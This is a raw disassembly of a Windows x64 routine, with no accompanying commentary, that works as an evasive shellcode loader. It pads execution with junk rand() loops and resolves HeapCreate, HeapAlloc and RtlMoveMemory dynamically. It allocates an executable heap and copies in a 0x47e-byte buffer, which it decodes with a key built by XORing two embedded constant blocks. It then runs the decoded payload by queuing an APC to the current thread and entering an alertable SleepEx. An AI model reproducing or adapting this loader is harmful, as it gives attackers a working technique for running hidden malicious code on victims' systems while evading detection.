mov byte [rax], cl
mov dword [rbp + 0x7ec], 0xffffffff
mov ecx, 0x1250
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x650], rax
mov ecx, 0x1250
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x648], rax
add dword [rbp + 0x7ec], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x7ec]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x650]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7ec]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x650]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7ec]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x648]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003fe0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x7ec], 0x248
jle 0x14000295d
mov rax, qword [rbp + 0x7c0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x7c0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x640]
mov r8d, 0
mov edx, 0x47e
mov ecx, 0x40000
call rax
mov qword [rbp + 0x630], rax
mov rax, qword [rbp + 0x630]
mov r9, qword [rbp + 0x638]
mov r8d, 0x47e
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x7c8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x620], rax
lea rdx, [rbp + 0x120]
mov rax, qword [rbp + 0x628]
mov r9, qword [rbp + 0x620]
mov r8d, 0x47e
mov rcx, rax
call r9
mov dword [rbp + 0x7e8], 0
mov dword [rbp + 0x7e4], 0
mov dword [rbp + 0x7e0], 0
movabs rax, 0x6cb48fa1112a21e9
movabs rdx, 0xdf20691db151521b
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0xed55777e0af59ef1
movabs rdx, 0xfec9a28015e2a6ce
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x145083a43dd5ddb1
movabs rdx, 0x4d7618bc527e3d11
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0xd9a1b1c992599d0c
movabs rdx, 0x2157b0b48c6a79f9
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x9ce8956ac5f29b5c
movabs rdx, 0xdae4062f9d9a945
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x2015f677623a0588
movabs rdx, 0x76662b62ffe87497
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0xcec19eb04aa3a176
movabs rdx, 0xddf4fe60173e1b
mov qword [rbp + 0x8f], rax
mov qword [rbp + 0x97], rdx
mov qword [rbp + 0x7d0], 0
mov dword [rbp + 0x61c], 0x3d4
mov dword [rbp + 0x7dc], 1
jmp 0x140002c31
mov eax, dword [rbp + 0x7dc]
cdqe
add qword [rbp + 0x7d0], rax
add dword [rbp + 0x7dc], 1
mov eax, dword [rbp + 0x7dc]
cmp eax, dword [rbp + 0x61c]
jle 0x140002c1b
movabs rax, 0x55d7b0b1d21be51e
movabs rdx, 0xa0924c895176ab6d
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0xd61440f78b7b8e28
movabs rdx, 0xad8a54a1bbb073fb
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xe333e89af592e334
movabs rdx, 0xfcf74885e1c431af
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x66bedbdca91d502c
movabs rdx, 0xfba60b5bc7e6037
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x970b057ce9854df5
movabs rdx, 0xc7ec022f601463a1
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0xac3e3b9c53f60a8
movabs rdx, 0x2ef2dfc57d09f0e9
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0x636102b1a9052ba
movabs rdx, 0x5f30ac4e2a5194f9
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0x9fa514afc7c7c132
movabs rdx, 0xa4274476da460d
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rdx
jmp 0x140002dca
cmp dword [rbp + 0x7e4], 0x7e
jne 0x140002d91
mov eax, dword [rbp + 0x7e8]
cdqe
movzx edx, byte [rbp + rax + 0x30]
mov eax, dword [rbp + 0x7e4]
cdqe
movzx eax, byte [rbp + rax + 0xa0]
xor edx, eax
mov eax, dword [rbp + 0x7e8]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x7e4], 0
jmp 0x140002dc3
mov eax, dword [rbp + 0x7e8]
cdqe
movzx edx, byte [rbp + rax + 0x30]
mov eax, dword [rbp + 0x7e4]
cdqe
movzx eax, byte [rbp + rax + 0xa0]
xor edx, eax
mov eax, dword [rbp + 0x7e8]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x7e4], 1
add dword [rbp + 0x7e8], 1
mov eax, dword [rbp + 0x7e8]
cmp eax, 0x6d
jbe 0x140002d51
mov dword [rbp + 0x7e8], 0
jmp 0x140002e87
cmp dword [rbp + 0x7e0], 0x6d
jne 0x140002e3b
mov eax, dword [rbp + 0x7e8]
movsxd rdx, eax
mov rax, qword [rbp + 0x628]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7e0]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x7e8]
movsxd rdx, eax
mov rax, qword [rbp + 0x628]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x7e0], 0
jmp 0x140002e80
mov eax, dword [rbp + 0x7e8]
movsxd rdx, eax
mov rax, qword [rbp + 0x628]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7e0]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x7e8]
movsxd rdx, eax
mov rax, qword [rbp + 0x628]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x7e0], 1
add dword [rbp + 0x7e8], 1
cmp dword [rbp + 0x7e8], 0x47d
jle 0x140002de8
mov rax, qword [rbp + 0x628]
mov qword [rbp + 0x610], rax
mov rax, qword [rbp + 0x7c0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x608], rax
mov rax, qword [rbp + 0x7c0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x600], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x610]
mov r9, qword [rbp + 0x608]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x600]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x830]
add rsp, 0x8c8
pop rbx
pop rsi
pop rdi
pop rbp
ret